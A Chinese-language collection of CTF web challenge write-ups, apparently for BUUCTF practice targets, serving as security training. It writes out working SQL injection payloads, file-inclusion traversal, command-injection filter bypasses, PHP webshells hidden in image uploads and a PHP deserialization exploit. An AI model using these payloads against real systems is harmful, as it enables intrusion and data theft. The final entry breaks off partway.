[极客大挑战 2019]EasySQL 1

访问靶机地址,发现如下页面,在登录框中的用户名输入admin,密码输入admin提示密码错误。

image-20230824205645726

image-20230824205734514

由于题目给的提示是sql注入,这里尝试在用户名处构造 sql 注入语句,admin' or sleep(2) # 发现页面延时 N 秒,当构造 admin' or sleep(0) # 的时候,页面并没有延时,因此此处是存在 sql 注入的。

最终构造万能密码 admin' or 1=1 # 得到FLAG。

image-20230824210115269

[极客大挑战 2019]Havefun 1

访问靶机网址,出现如下页面。

image-20230824210152287

右键查看源代码看到注释的PHP代码。

image-20230824210236606

代码的逻辑是接收通过 GET 请求传入的 cat 参数,当 cat 参数的值为 dog 的时候会输出一段信息,我们这里尝试传入

image-20230824210339463

[HCTF 2018]WarmUp 1

访问靶机网址,出现如下页面。

image-20230824210414016

右键查看源代码,发现注释信息 source.php ,尝试访问该文件,得到如下 PHP 源码。

image-20230824210510527

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

以上功能实现的功能就是通过接收 file 参数,实现文件包含的功能,但是 file 参数的值经过 emmm 类下的 checkFile函数进行检验。

1
2
3
4
5
6
7
8
9
<?php
if (!empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']))
{
include $_REQUEST['file'];
exit;
}else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

这里我们来看checkFile 函数的代码,我们的目的是需要 checkFile 函数返回 true,所以我们要逐个分析 checkFile 函数中的每个 if 判断。

第一个 if 判断:

1
2
3
4
5
6
7
# 定义白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
# 条件一: file 参数的值需要是个字符串类型
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

第二个 if 判断:

1
2
3
4
# file的值需要是 $whiltlist 白名单所定义的
if (in_array($page, $whitelist)) {
return true;
}

第三个 if 判断:

1
2
3
4
5
6
7
8
9
10
11
# 对 file 参数的值截取并赋值给$_page 功能: 例如 file=index.php $_page的结果就为index.php
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

# 如果在白名单里面就return true
if (in_array($_page, $whitelist)) {
return true;
}

mb_substr(): 获取部分字符串

参数 说明
string 从 string 字符串提取子字符串
start 提取子字符串的位置
length 提取子字符串的长度

mb_substr() 函数示例:

1
2
3
<?php 
echo mb_substr('hello', 0, 3); // 输出 hel
?>

mb_strpos(): 查找字符串在另一个字符串中首次出现的位置

参数 说明
haystack 要被查找的字符串
needle 在 haystack 中查看这个字符串

mb_strpos() 函数示例:

1
2
3
<?php 
echo mb_strpos('hello', 'l'); // 输出 2
?>

第三个 if 判断:

1
2
3
4
5
6
7
8
9
10
11
12
# 对file参数的内容进行解码赋值给$_page 其他的逻辑跟第二个if判断一致。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;

这里我们通过审计代码得知,这里可以包含 source.phphint.php 文件,那么我们先尝试包含 hint.php 文件。

image-20230824214202559

告诉我们 flag 在 ffffllllaaaagggg 文件中。

如果我们为 file 参数传入 file=source.php?../../../../../../../../../ffffllllaaaagggg 即可包含到ffffllllaaaagggg文件当中。

image-20230824214355958

这里能包含的原因是因为,当我们 file 的值为 source.php?../../../../../../../../../ffffllllaaaagggg 经过如下代码之后的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# file=source.php?../../../../../../../../../ffffllllaaaagggg
# 此时$_page 的值为source.php
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);

# 由于source.php在白名单中因此函数返回true
if (in_array($_page, $whitelist)) {
return true;
}

# 接着执行如下代码:
if (!empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']))
{
# include('source.php?../../../../../../../../../ffffllllaaaagggg');
include $_REQUEST['file'];
exit;

最终可以读取到 ffffllllaaaagggg 文件的内容。

[ACTF2020 新生赛]Include 1

访问靶机地址,看到如下页面:

image-20230824215348341

点击 tips 跳转到如下页面,并观察 url 以及题目的名称,猜测是文件包含。

image-20230824215423514

这里传入了 file=flag.php,显示的 Can you find out the flag? 应该是flag.php的文件内容,这里我们访问 flag.php 发现内容一致。

image-20230824215902091

这里尝试包含/etc/passwd 文件,发现成功包含。

image-20230824215917297

那么后端 index.php 文件的核心代码大概为:

1
2
3
4
5
<?php
if (isset($_GET['file'])) {
include($_GET['file']);
}
?>

当我们点击 tips 的时候,发现传入了 file=flag.php,由于 flag.php 是PHP文件,我们如果使用正常文件包含无法读取到其内容,需要使用 PHP 的 filter 协议。

1
?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20230824220222715

对以上内容进行 base64 解码即可得到 flag.php 文件的内容。

image-20230824221724407

[ACTF2020 新生赛]Exec 1

访问靶机地址,得到如下页面:

image-20230824221942740

这里直接使用命令拼接符 ; 即可执行任意命令。

image-20230824221911580

得到 FLAG。

image-20230824222022463

[GXYCTF2019]Ping 1

访问靶机页面,看到如下内容,这里让传入 ip 参数。

image-20230824222058997

使用命令拼接符 ; 即可执行 ls 命令,发现存在 flag.php文件。

image-20230824222253586

尝试使用 ;tac flag.php 读取该文件的内容,发现提示不能有空格。

image-20230824222422484

过滤空格可以使用如下方法代替:

方法
$IFS$1
$IFS
${IFS}
{cat,1.txt}
%09
cat<flag.txt
cat<>flag.txt

接着提示不能有flag关键字。

image-20230824222839269

那么过滤FLAG我们可以使用如下方法绕过:

方法 说明
fl* * 表示任意长度的任意字符
fl? ? 表示一个长度的任意字符
fl[a-c]g [a-z] 表示一个长度的a-z之间的字符

当我们传入 ?ip=127.0.0.1;tac$IFS$1fla?.php 提示不能有符号,以上三种方法都不能用。

image-20230824223301626

尝试为使用变量代替(PS: 因为Linux系统是支持给变量赋值并且使用变量的):

1
;a=g;tac$IFS$1fla$a.php

image-20230824223505180

得到 FLAG。

[强网杯 2019]随便注 1

fuzz

通过如下 payload 得知,该sql语句通过单引号进行闭合。

1
2
1' and 1=1#    有结果
1' and 1=2# 没结果

由于页面展示所查询出来的数据,故而先尝试使用联合查询注入。先获取字段数

1
2
1' order by 3#   提示 未知的列3
1' order by 2# 正常显示数据

通过以上状态得知,当前 sql 语句所查询的字段数为 2 个。

接着通过 union 注入 尝试获取数据

1
1' union select 1,2 #

页面提示:

image-20230825094339481

得知 selectupdatedeletedropinsertwhere、以及. 被过滤,并且使用了修饰符i(不区分大小写进行过滤)。

经过尝试,无法绕过。

再次传入如下 payload :

1
1'

image-20230825094610387

页面发生报错,这里可以尝试报错注入获取当前数据库名、当前数据库版本、以及当前用户名。其他的无法获取,因为关键字被过滤。

1
2
3
1' or extractvalue(0x7e,concat(0x7e,(version())))#     获取数据库版本
1' or extractvalue(0x7e,concat(0x7e,(database())))# 获取当前库名
1' or extractvalue(0x7e,concat(0x7e,(user())))# 获取当前用户名

image-20230825094955967

由于这里过滤了 update 因此 updatexml 无法使用。

前置知识

所谓堆叠注入就是指 mysql 程序执行语句是通过;结束的,因此一行中其实是可以执行多条sql语句的,在 mysql 程序当中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select user();select version();
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

+------------+
| version() |
+------------+
| 5.7.19-log |
+------------+
1 row in set (0.00 sec)

但是想通过 php 利用 ; 执行多条 sql语句,是需要使用到 mysqli_multi_query() 函数 或 mysqli->multi_query() 函数的。

堆叠注入

这里我们尝试传入如下 payload,列出所有库名:

1
1';show databases#

image-20230825095945363

尝试获取当前库下的所有表:

1
1';show tables#

image-20230825100046804

发现存在表1919810931114514words,分别查看其字段:

查看 1919810931114514 表中的字段:

1
2
3
1';desc `1919810931114514`#
或者
1';show columns from `1919810931114514`#

image-20230825100205323

发现 1919810931114514 表中存在 flag 字段。

查数据

接下来我们要执行的语句就是:

1
select flag from 1919810931114514

但是这里 select 关键字别过滤,无法通过常规的手法进行 bypass,需要使用预编译的形式进行绕过。

所谓预编译就是事先准备一个 sql模板,接着对其进行传参。

预编译执行sql语句示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 准备预编译模板名为 sqltpl 执行的语句为 select * from users where id=? 其中?为占位符
mysql> prepare sqltpl from 'select * from users where id=?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

# 设置@id变量的值为1
mysql> set @id=1;
Query OK, 0 rows affected (0.00 sec)

# 执行sqltpl模板的语句,并传入参数 @id
# 以下结果等同于 select * from users where id=1
mysql> execute sqltpl using @id;
+------+----------+----------------------------------+
| id | username | password |
+------+----------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
+------+----------+----------------------------------+
1 row in set (0.00 sec)

由于预编译语句前期构造模板的语句,是字符串形式,因此我们可以通过concat()函数拼接select,以达到绕过对select 关键字的检测,如下:

1
2
3
4
5
6
7
8
9
10
mysql> set @sql=concat('se','lect flag from `1919810931114514`');
Query OK, 0 rows affected (0.00 sec)

mysql> select @sql;
+-------------------------------------+
| @sql |
+-------------------------------------+
| select flag from `1919810931114514` |
+-------------------------------------+
1 row in set (0.00 sec)

接着将该 sql语句 带入到模板中即可。

构造 payload:

1
1'; set @sql=concat('se','lect flag from `1919810931114514`');prepare sqltpl from @sql;execute sqltpl#

拆分就是如下:

1
2
3
1';
set @sql=concat('se','lect flag from `1919810931114514`');
prepare sqltpl from @sql;execute sqltpl#

页面提示如下代码,使用strstr 检测了 setprepare 关键字,使用大小写即可绕过。

image-20230825101546016

再次构造:

1
1'; Set @sql=concat('se','lect flag from `1919810931114514`');Prepare sqltpl from @sql;execute sqltpl#

image-20230825101714693

其他方法

由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:

1
select * from words where id = '';

我们将表 1919810931114514 名字改为 words,flag 列名字改为 id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

1
2
3
4
修改表名(将表名user改为users)
alter table user rename to users;
修改列名(将字段名username改为name)
alter table users change uesrname name varchar(30);

最终PAYLOAD如下:

1
2
3
4
5
6
7
8
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

# 拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#

然后使用1' or 1=1#即可查询出 flag

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<html>
<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}

function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}

if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";

$res = $mysqli->multi_query($sql);

if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}


?>
</pre>

</body>

</html>

docker 地址:https://github.com/glzjin/qwb_2019_supersqli/tree/master

[SUCTF 2019]EasySQL 1

fuzz

输入 1 或 任意一个非0数字 页面打印一个数组

image-20230825114122450

尝试进行闭合:

1
1' and 1=1 #

页面提示 Nonono. 猜测有过滤。

解法一

看了WP之后,才发现还有这种玩法,以下是题目的关键 SQL 语句:

1
$sql = "select {$_POST['query']} || flag from Flag";

在本地进行测试:

1
2
3
4
5
6
7
mysql> select 1 || flag from flag;
+-----------+
| 1 || flag |
+-----------+
| 1 |
+-----------+
1 row in set (0.00 sec)

这里使用 or 运算符,mysql 的 or 运算符跟编程语言的 or 运算符 略微有所不同。

“||”或者“OR”表示“或”运算。所有数据中存在任何一个数据为非0的数字时,结果返回1;如果数据中不包含非0的数字,但包含NULL时,结果返回NULL;如果操作数中只有0时,结果返回0。“或”运算符“||”可以同时操作多个数据。

这也是为什么如上结果返回 1 的原因。

最终传入 *,1 即可得到FLAG,因为 * 表示查询所有字段。本地测试:

1
2
3
4
5
6
7
mysql> select *,1 || flag from flag;
+--------------------------------------+-----------+
| flag | 1 || flag |
+--------------------------------------+-----------+
| flag{4206854b0f58455a05fd087ed306d6} | 1 |
+--------------------------------------+-----------+
1 row in set (0.00 sec)

image-20230825120942827

解法二 堆叠注入

构造如下PYALOD 获取当前库下的所有库名:

1
1;show tables;

image-20230825122442753

发现存在FLAG表,但是不能直接查询。因为后端过滤了 select 关键字,这里可以修改sql_mode的值,将原本的管道符 || or 运算符,作为拼接符(类似于concat)。

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select 1||2;
+------+
| 1||2 |
+------+
| 1 |
+------+
1 row in set (0.00 sec)

mysql>
mysql>
mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec)

mysql> select 1||2;
+------+
| 1||2 |
+------+
| 12 |
+------+
1 row in set (0.00 sec)

构造PAYLOAD:

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

整个 SQL 语句为:

1
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from Flag

类似于:

1
select 1; select concat(1,`flag`) from Flag

image-20230825123120464

题目docker镜像:

https://github.com/glzjin/suctf_2019_easysql/tree/master

[极客大挑战 2019]Secret File 1

访问靶机地址,出现如下页面:

image-20230825124025955

右键查看源代码,得到隐藏的URL连接,点击链接。

image-20230825124044643

或在页面中 ctrl + a 选择,之后点击

image-20230825124117502

这里点击查阅,然后提示查阅结束,观察状态码发现是302跳转。

image-20230825124211116

随机点击查阅的时候,使用 burp 进行抓包,并发到重发器中。

image-20230825124339818

得到隐藏的文件 secr3t.php,访问该页面,得到如下源码:

image-20230825124430165

通过代码审计发现这里是一个文件包含,通过 GET 请求接收 file 参数,并使用 stristr()file 参数的值进行检索,不能有../tp 以及 inputdata 关键字。页面又提示 flag 在 flag.php 里,因此使用php://filter 伪协议读取 flag.php 文件的内容即可。

image-20230825124752934

将 Base64 编码解码即可得到 FLAG。

image-20230825124828845

[极客大挑战 2019]LoveSQL 1

fuzz

在用户名处尝试万能用户名,密码随便输入:

1
admin' or 1=1#

image-20230825125541568

登录成功,但是并没有得到 FLAG,猜测 FLAG 可能在数据库中。

继续在用户名处构造如下PAYLOAD:

1
admin'

页面发生报错,这里是存在报错注入的。

获取FLAG

构造PAYLOAD:

1
2
# 获取当前库名
admin' or extractvalue(0x7e,concat(0x7e,(select database()),0x7e)) #

image-20230825131358510

这里也是存在联合查询注入的:

1
123' union select 1,2,3#

image-20230825131521130

构造PAYLOAD获取当前库下所有表名:

1
123' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 

image-20230825131745024

构造PAYLOAD获取 l0ve1ysq1 的字段名

1
123' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' # 

image-20230825132023006

构造PAYLOAD获取 l0ve1ysq1 的数据:

1
123' union select 1,group_concat(username,0x7e,password),3 from l0ve1ysq1 where username='flag'# 

image-20230825132152483

[极客大挑战 2019]Http 1

访问靶机地址,出现如下页面:

image-20230825145657504

查看页面源代码,得到隐藏文件 Secret.php ,访问即可:

页面提示 不是来自 某某网站,这里尝试在请求头加入: Referer: https://Sycsecret.buuoj.cn

image-20230825145754785

接着让我们使用 Syclover" browser 浏览器。我们修改请求头中的 User-Agent 字段即可。

image-20230825145913266

接着提示不是只有只能在本地阅读,这里加入 X-Forwarded-For: 127.0.0.1

image-20230825150014647

image-20230825150126769

[极客大挑战 2019]Knife 1

访问靶机地址,看到如下页面,直接给出了 webshell 的连接密码,菜刀或者蚁剑连接即可。

image-20230825150219096

image-20230825150322108

或手动进行利用:

image-20230825150418777

[极客大挑战 2019]Upload 1

fuzz

由于是头像上传,这里尝试上传一个以 .jpg 结尾,但是文件内容为 <?php phpinfo();?> 的文件。

image-20230825150749787

页面提示文件内容包含<?,这里可以判断,对文件的内容进行了检查,不能带有 <?

这种过滤 <?<?php 等关键字的时候一般可以通过如下方式进行绕过。

方法一:

1
<script language="php">phpinfo();</script>

image-20230825151156097

方法一有个硬性条件,就是PHP版本需要 < PHP7,这里我们通过信息收集发现,该服务器的PHP版本为 PHP/5.5.9

image-20230825151110228

方法二:

1
<?=phpinfo();?>

但是由于本道题过滤的是<? 因此方法二是被 pass 掉的。

image-20230825151217814

扩展: 如果服务器的PHP程序开启了 asp 标签,可以使用如下代码绕过:

1
<% phpinfo();%>

这里我们尝试使用方法一,上传之后页面提示,说是假的图片。

image-20230825151453265

尝试为图片加上 GIF 图片的文件头。GIF89a

image-20230825151619788

再次进行上传,发现上传成功。

image-20230825151651733

那么这里我们将文件名修改为 1.php 再尝试进行上传,提示不是图片。

image-20230825151747764

在上传的数据中修改文件的 Content-Type 将其修改为图片的 MIME 类型。

image-20230825151919293

接着提示 NOT!猜测 PHP 后缀应该是在黑名单当中

image-20230825151928464

那么除了 php 后缀以外,还可以尝试 php3php4php5phtphtml都可能会被解析。

image-20230825152137303

最终尝试上传 .phtml 的文件成功上传。

image-20230825152204466

但是上传的目录并没有给出,需要进行目录扫描

image-20230825153237238

但是一般上传目录都是 uploaduploads,本道题也不例外。

image-20230825153349972

获取FLAG

新建一个名为 shell.phtml 的文件,其内容如下:

1
GIF89a<script language="php">eval($_REQUEST['cmd']);</script>

在上传的数据包中,将 Content-Type 修改为 image/png 即可。

image-20230825153624545

接着使用蚁剑连接即可。

image-20230825153713721

[ACTF2020 新生赛]Upload 1

fuzz

访问靶机地址,出现如下页面:

image-20230825153903860

通过右键检查发现,这里在提交 form 表单的时候 执行了 checkFile函数,当然这里是 js 的函数。

image-20230825153935921

通过右键查看源代码发现,这里唯一引用了一个 js 文件,访问即可看到代码的逻辑。

image-20230825154037345

image-20230825154112942

先创建一个名为 1.jpg 内容为 <?php @eval($_REQUEST['cmd']);?> 的文件。接着将其进行上传,并使用 burp 进行抓包,再将后缀修改为 1.php 尝试进行绕过。

image-20230825154455488

发现无法绕过,这里尝试将其修改为 1.jpg,查看是否能上传成功:

image-20230825154610187

发现上传成功,说明这里并没有对文件的内容进行检查,只是对后缀做了检查。

image-20230825154720178

上传了一个非图片的文件,也上传成功了,那么说明这里是基于黑名单的后缀名过滤,只是不允许上传 .php 后缀的文件。

获取FLAG

image-20230825154837519

上传 .phtml 的文件成功了,这里尝试进行访问:

image-20230825154921289

成功利用,使用蚁剑连接即可。

[极客大挑战 2019]BabySQL 1

fuzz

访问靶机地址,出现如下页面:

image-20230825160340283

尝试传入如下PAYLOAD:

1
admin' or 1=1#

页面发生报错:

image-20230825160537156

通过观察报错语句,可以得知,这里对我们传入的 or 进行了剔除,尝试使用双写进行绕过:

1
admin' oorr 1=1#

image-20230825160627694

成功登录,接着尝试构造(or 需要双写 以及 by):

1
admin'  oorrder bbyy 4 #

提示未知的列4,故而该查询语句有3个字段。

继续构造PAYLOAD(unionselect 都需要双写):

1
123'  ununionion seselectlect 1,2,3 #

image-20230825160925134

获取FLAG

构造 PAYLOAD 获取所有表名:

1
123' uniunionon seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()# 

image-20230825161257298

构造 PAYLOAD 获取 geekuser 的所有字段:

1
123' uniunionon seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='geekuser'# 

image-20230825161357601

构造 PAYLOAD 获取 geekuser 表的数据:

1
123' uniunionon seselectlect 1,group_concat(username,passwoorrd),3 frfromom geekuser# 

image-20230825161516157

发现并没有FLAG,猜测可能在另外一张表中。

构造 PAYLOAD 获取 b4bsql 表的所有字段:

1
123' uniunionon seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'# 

image-20230825161625111

构造 PAYLOAD 获取 b4bsql 表的FLAG

1
123' uniunionon seselectlect 1,group_concat(username,0x7e,passwoorrd),3 frfromom b4bsql whwhereere username='flag' # 

image-20230825161736149

[极客大挑战 2019]PHP 1

前置知识 CVE-2016-7124

漏洞危害:当成员属性数目大于实际数目时可绕过wakeup方法

版本限制:

PHP5: < 5.6.25

PHP7: < 7.0.10

漏洞演示:

image-20230825163621642

详情:https://zhuanlan.zhihu.com/p/446857016

获取FLAG

根据页面的提示说有备份网站的习惯,猜测有备份文件,可能是index.php.bakwww.zip 以及 www.tgz

image-20230825161859203

备份文件为 www.zip。下载即可得到网页的源码,下载得到的 flag.php 文件中的FLAG是假的。

image-20230825162106621

这里我们发现了 class.php 文件 以及 index.php 文件。

index.php 关键代码:

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php 文件代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();

}
}
}
?>

其实代码很简单,主要的PHP代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}
}

我们需要 将username 的值设置为 admin 即可打印 FLAG,但是这里当我们在反序列化 Name类的时候,会自动调用 __wakeup() 魔术方法,为其 username 重新赋值为 guest

我们的目的,就是不让wakeup方法执行即可,构造如下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class Name{
private $username = 'nonono';
private $password = 'yesyes';

function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
}

echo serialize(new Name('admin', 100));
?>

由于 usernamepassword 是私有属性,需要在其类名的前面加上%00,表示00字符。

1
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

接着就是需要绕过 wakeup 函数的执行,将属性长度从原来的 2 修改为 3 或其他大于2的值即可。

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

最终传入:

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

image-20230825164234744

[ACTF2020 新生赛]BackupFile-1

根据题目名称可以得知,这里是个备份文件题目,直接尝试访问 index.php.bak 发现下载了该文件,文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

通过审计代码得知,我们需要通过 GET 请求传入 key 参数,且该参数的值必须为数值。接着将 $key 转为整型与字符串 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3 做 == 匹配,由于PHP是弱类型语言,因此 int 类型 与 字符串类型 做 == 匹配的时候,会先将字符串类型转为 int 类型,而字符串类型 123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3为123,因此我们传入 key=123 即可得到FLAG。

image-20231015193228870

[RoarCTF 2019]Easy Calc-1

访问靶场出现如下页面:

image-20231015195259873

右键查看源代码,发现一段JS代码和一段提示:

image-20231015195548735

发现这里将我们输入的内容传给了 calc.php 文件,这里我们直接访问calc.php得到如下源码:

image-20231015195701786

通过审计源码可知,这里过滤了如下内容:

空格

TAB键

回车

单引号

双引号

反引号

左右中括号

美元符号

\

^

我们这里尝试传入 ?num=phpinfo();,发现页面返回403,根据页面前面的提示,猜测可能是WAF过滤。

image-20231015201418972

这里尝试在参数num前面加上一个空格。绕过WAF的过滤,因为后端匹配的是num,而不是空格num

image-20231015201514915

由于这里过滤了单双引号。因此没办法使用函数加参数的形式。但是这里可以借助PHP的 chr()函数,该函数可以将ASCII码转为对应的字符。

1
2
var_dump(scandir(chr(47)));   
// 以上代码等同于 var_dump(scandir('/'));

image-20231015202305173

继续构造PAYLOAD,获取/f1agg文件的内容。

1
2
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))); 
// 以上代码等同于 var_dump(file_get_contents('/f1aag'));

image-20231015202719412

[极客大挑战 2019]BuyFlag-1

访问靶机出现如下页面,在页面源代码中发现 PAYFLAG 页面,访问该页面:

image-20231016180614077

访问之后的页面如下:

image-20231016180756765

页面内容翻译后:

FLAG NEED YOUR 100000000 MONEY 译:FLAG 需要你的100000000美元

If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

译:

如果您想购买FLAG:
你一定是中大的学生!!!
你必须回答正确的密码!!!

使用 burpsuite 抓取该页面,通过页面返回内容得到如下源码:

image-20231016181509100

1
2
3
4
5
6
7
8
9
// ~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

从源码中可以得知,这里需要通过POST请求传入参数 moneypassword ,根据代码审计可知,password 参数需要传入404a

至于 money 参数的值需要为 100000000,因为前面说过需要这个金钱来购买FLAG。同时需要将 Cookie 属性中的 user 值设置为 1

构造请求:

image-20231016181721133

页面提示 数字的长度太长了,那么这里我们可以使用科学计数法的形式代替。比如1E2

image-20231016181839099

但是页面提示钱少了,我们换成1E2000,就得到了FLAG。

image-20231016181937671

[BJDCTF2020]Easy MD5-1

访问靶场,出现如下输入框,输入内容,并没有回显,于是这里通过 burpsuite 进行抓包。

image-20231016184505315

在服务器的响应字段中,发现提示信息。如下:

image-20231016184547796

这里前期在做的时候以为是SQL注入,尝试以下各种,但最终无果。

1
2
3
123) or sleep(5) %23
123') or sleep(5) %23
123") or sleep(5) %23

最后看了其他师傅WP才知道,这里的MD5函数是PHP的,而不是SQL语句中的MD5函数。我们查看PHP的官方文档,了解MD5函数。

image-20231016185052577

通过查看PHP的官方手册得知,当md5函数的第二个参数为true的时候,则MD5以原始二进制格式返回。例如:

image-20231016185329070

我们输入的任何注入PAYLAOD,都先会被PHP的md5函数加密为MD5的原始二进制,因此无法达到利用的效果,但是如果我们输入的内容,刚好加密为带有 ' or ' 这种闭合形式的呢。比如字符串 ffifdyop 的MD5二进制结果。

image-20231016190208382

尝试传入ffifdyop

image-20231016190318734

发现页面跳转至levels91.php页面。这里我们访问该页面,之后右键查看源代码:

image-20231016190545022

image-20231016190609987

通过审计源码,这里是存在弱类型匹配的,我们可以传入?a[]=1&b[]=2进行绕过,也可以使用?a=s878926199a&b=QNKCDZO绕过。

接着跳转至如下页面:

image-20231016190749412

由于这里用的是强等于,因此这里无法使用?a=s878926199a&b=QNKCDZO进行绕过。只能为md5()函数传入数组,由于md5函数无法加密数组,因此会报错,返回NULL。

1
param1[]=1&param2[]=2

image-20231016191036967

[护网杯 2018]easy_tornado-1

题目名称是 easy_tornado,而 tornado 是Python的一个框架。

访问靶机一共出现了三个文件:

image-20231016191405149

访问 flag.txt 提示:flag in /fllllllllllllag ,也就是说 flag 在根目录下的 fllllllllllllag 文件中。

